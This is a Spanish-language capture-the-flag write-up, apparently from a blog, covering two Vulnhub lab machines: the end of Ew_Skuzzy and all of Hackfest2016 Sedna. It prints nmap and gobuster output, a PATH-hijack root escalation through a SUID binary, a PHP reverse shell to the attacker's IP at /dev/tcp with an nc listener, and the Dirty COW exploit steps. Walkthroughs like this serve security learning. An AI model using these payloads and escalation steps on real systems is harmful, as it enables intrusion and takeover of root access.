      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    16707     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
    18335     24 -rwsr-xr-x   1 root     root          23376 Jan 18  2016 /usr/bin/pkexec
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
    17780     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 15  2016 /usr/bin/at
    16706     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
      405     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
      489    136 -rwsr-xr-x   1 root     root         136808 Jan 21  2017 /usr/bin/sudo
   149630     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   131134     40 -rwsr-xr-x   1 root     root          40152 Dec 17  2016 /bin/mount
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   149660    140 -rwsr-xr-x   1 root     root         142032 Jan 29  2017 /bin/ntfs-3g
   131148     44 -rwsr-xr-x   1 root     root          44168 May  8  2014 /bin/ping
   131149     44 -rwsr-xr-x   1 root     root          44680 May  8  2014 /bin/ping6
   131183     28 -rwsr-xr-x   1 root     root          27608 Dec 17  2016 /bin/umount
   157770     12 -rwsr-xr-x   1 root     root           8736 Mar  2  2017 /opt/alicebackup

 

Se ejecuta el binario de alicebackup y esto pasa.
www-data@skuzzy:/home/skuzzy$ /opt/alicebackup
/opt/alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Name or service not known
lost connection


Como se utiliza no un path absoluto para ejecutar el id, se copia bash en un archivo en /tmp, se exporta el path y con suerte se obtiene acceso a root.
www-data@skuzzy:/tmp$ cp /bin/bash id
cp /bin/bash id
www-data@skuzzy:/tmp$ export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
www-data@skuzzy:/tmp$ /opt/alicebackup
whoami
root

 

Para obtener el utimo flag, se encuentra en /root, les dejo parte del mensaje.
cat /root/flag.txt
Congratulations!

flag5{*******************************96d89f6a}



Muchas gracias a @vortexau que nos brindó esta VM. Hasta la próxima.

Vulnhub: Ew_Skuzzy: 1
Referencia: community.fs.com
Referencia: diablohorn.com
Referencia: stackoverflow.com


viernes, 4 de marzo de 2022

CTF Hackfest2016: Sedna VM

 


 

Bueno, en esta entrega sedna es una máquina que según el autor hay múltiples formas de conseguir los permisos como usuario root, asi que lo primero se escanea la máquina.

$ sudo nmap -sV -Pn -A -O -oN sedna 192.168.2.18
Starting Nmap
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aac39e80b48115dd60d508ba3fe0af08 (DSA)
|   2048 417fc25dd53a68e4c5d9cc60067693a5 (RSA)
|   256 ef2d6585f83a85c2330b7df9c8922203 (ECDSA)
|_  256 ca363c32e624f9b7b4d41dfcc0da1096 (ED25519)
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp  open  pop3        Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING RESP-CODES TOP STLS UIDL CAPA
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35963/tcp6  status
|   100024  1          45479/udp6  status
|   100024  1          49259/udp   status
|_  100024  1          59802/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE ID more post-login have LOGINDISABLEDA0001 capabilities Pre-login STARTTLS listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_imap-capabilities: LITERAL+ ENABLE ID more have post-login AUTH=PLAINA0001 capabilities Pre-login listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_pop3-capabilities: USER AUTH-RESP-CODE PIPELINING SASL(PLAIN) TOP RESP-CODES UIDL CAPA
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Ahora en desde el navegador se puede ver lo siguiente.



 Ahora se indaga cuáles directorios están disponibles.

$ gobuster dir -u http://192.168.2.18/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.18/files                (Status: 301) [Size: 311] [--> http://192.168.2.18/files/]
http://192.168.2.18/themes               (Status: 301) [Size: 312] [--> http://192.168.2.18/themes/]
http://192.168.2.18/modules              (Status: 301) [Size: 313] [--> http://192.168.2.18/modules/]
http://192.168.2.18/system               (Status: 301) [Size: 312] [--> http://192.168.2.18/system/]
http://192.168.2.18/blocks               (Status: 301) [Size: 312] [--> http://192.168.2.18/blocks/]
http://192.168.2.18/server-status        (Status: 403) [Size: 292]
Progress: 220532 / 220561 (99.99%)
===============================================================

 

Cuando se revisa el directorio /themes, se pudo obtener más información acerca de la máquina.




Buscando se encontró un exploit para este CMS.


En este caso, solo se le cambia la IP de la VM, y asegurarse que la extensión sea .html, al abrir con el navegador este archivo, solo es necesario cargar el revershell.

$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");?>

Una vez cargado se encuentra en la ruta /files, pero antes se deja escuchando por el puerto que se especificó en el revershell.
$ nc -lvnp 4567


Ya adentro, se explora los archivos y se encuentra el primer flag
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
********************8b9aeac6b289

 

Llegando a home, se nota que no hay algún workspace de usuarios, se verificó la información de la máquina.
www-data@Sedna:/var/www/html/files$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

 

Se encontró un exploit con estas características y que permiten elevar privilegios.
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method).

 

 Siguiendo las instrucciones del exploit y te pedirá una contraseña.
gcc -pthread 40839.c -o dirty -lcrypt
./dirty

 

Algo para resaltar es que aparentemente este exploit es muy agresivo, a los pocos segundos de ejecutarlo la máquina se atora, asi que lo siguiente para conseguir acceso a root, en otra pestaña. Este usuario se encuentra dentro del exploit.

$ ssh -l firefart 192.168.2.19
firefart@192.168.2.19's password: (contraseña que se le dio al exploit)
 

Ahora para encontrar la flag de root.
firefart@Sedna:~# ls
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip  chkrootkit  flag.txt
firefart@Sedna:~# cat flag.txt
*****************936614558305

Muchas gracias a @ViperBlackSkull que nos brindó esta VM. Hasta la próxima.

Vulnhub: hackfest2016: Sedna